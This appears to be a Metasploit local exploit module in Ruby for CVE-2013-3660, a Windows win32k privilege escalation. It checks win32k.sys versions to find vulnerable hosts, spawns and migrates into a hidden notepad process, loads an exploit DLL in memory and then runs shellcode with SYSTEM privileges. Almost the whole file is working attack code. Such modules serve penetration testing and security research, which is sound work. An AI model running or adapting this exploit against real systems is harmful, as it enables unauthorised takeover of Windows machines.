##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
      'Description'    => %q{
          This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
        of uninitialized data which allows to corrupt memory. At the moment, the module has
        been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
          'progmboy <programmeboy[at]gmail.com>',    # Original Exploit
          'Keebie4e',    # Metasploit integration
          'egypt',       # Metasploit integration
          'sinn3r',      # Metasploit integration
          'Meatballs',   # Metasploit integration
          'juan vazquez' # Metasploit integration
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'CVE', '2013-3660' ],
          [ 'EDB', '25912' ],
          [ 'OSVDB', '93539' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
        ],
      'DisclosureDate' => 'May 15 2013',
      'DefaultTarget'  => 0
    }))

  end

  def check
    os = sysinfo["OS"]
    if os =~ /windows/i
      file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
      major, minor, build, revision, branch = file_version(file_path)
      vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")

      #WinXP x86 - 5.1.2600.6404
      #WinXP/2003 5.2.3790.5174
      #WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
      #Win72k8R2 -  6.1.7601.18176 / 6.1.7601.22348
      #Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
      case build
      when 2600
        return Exploit::CheckCode::Vulnerable if revision < 6404
      when 3790
        return Exploit::CheckCode::Vulnerable if revision < 5174
      when 6000
        return Exploit::CheckCode::Vulnerable
      when 6001
        return Exploit::CheckCode::Vulnerable
      when 6002
        if branch == 18
          return Exploit::CheckCode::Vulnerable if revision < 18861
        else
          return Exploit::CheckCode::Vulnerable if revision < 23132
        end
      when 7600
        return Exploit::CheckCode::Vulnerable
      when 7601
        if branch == 18
          return Exploit::CheckCode::Vulnerable if revision < 18176
        else
          return Exploit::CheckCode::Vulnerable if revision < 22348
        end
      when 9200
        if branch == 16
          return Exploit::CheckCode::Vulnerable if revision < 16627
        else
          return Exploit::CheckCode::Vulnerable if revision < 20732
        end
      end
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    if sysinfo["Architecture"] =~ /wow64/i
      fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
    elsif sysinfo["Architecture"] =~ /x64/
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    print_status("Creating a new process and migrating...")

    cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
    new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
    new_pid = new_proc.pid

    if not new_pid
      print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
    else
      print_status("Migrating to #{new_pid}")
      migrate_res = false

      begin
        migrate_res = session.core.migrate(new_pid)
      rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
        migrate_res = false
      end

      if migrate_res
        print_good("Successfully migrated to process #{new_pid}")
      else
        print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
      end
    end

    print_status("Trying to load the exploit and executing...")

    session.core.load_library({
      "LibraryFilePath" => File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "exploit.dll"),
      "UploadLibrary"   => true,
      "Extension"       => false,
      "TargetFilePath"  => "#{rand_text_alpha(5 + rand(3))}.dll",
      "SaveToDisk"      => false
    })

    print_status("Checking privileges after exploitation...")

    if is_system?
      print_good("Exploitation successful!")
    else
      fail_with(Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
    end

    if execute_shellcode(payload.encoded)
      print_good("Enjoy!")
    else
      fail_with(Failure::Unknown, "Error while executing the payload")
    end

  end


end